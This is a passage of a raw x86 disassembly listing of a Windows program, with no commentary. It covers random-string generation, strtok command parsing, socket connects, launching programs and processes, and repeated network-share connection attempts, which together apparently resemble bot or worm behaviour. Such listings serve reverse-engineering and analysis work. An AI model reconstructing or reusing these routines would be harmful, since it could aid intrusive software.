ecx, esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 2800BE7h push eax nop call near ptr 77C371BCh mov edi, dword_511AC8 add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E5C push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E64 push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BD74 push eax nop call near ptr 77C40AB1h add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F30 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax call near ptr 77C47A90h nop mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E80 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E7C mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E78 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E74 mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E70 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E6C mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E68 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax call near ptr 71AB2BF4h nop mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi call near ptr 71AB9639h nop mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 28104BCh test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E8C mov ecx, off_444E90 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E94 rep stosd mov ecx, off_444E84 mov [esp+10h], edx mov dx, word_444E88 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi call near ptr 27D0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB4C push offset dword_50DB4C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E8C mov ecx, off_444E90 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E94 rep stosd mov ecx, off_444E84 mov [esp+10h], edx mov dx, word_444E88 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 nop call near ptr 27D0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C6C ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C6C ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C6C ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; --------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, 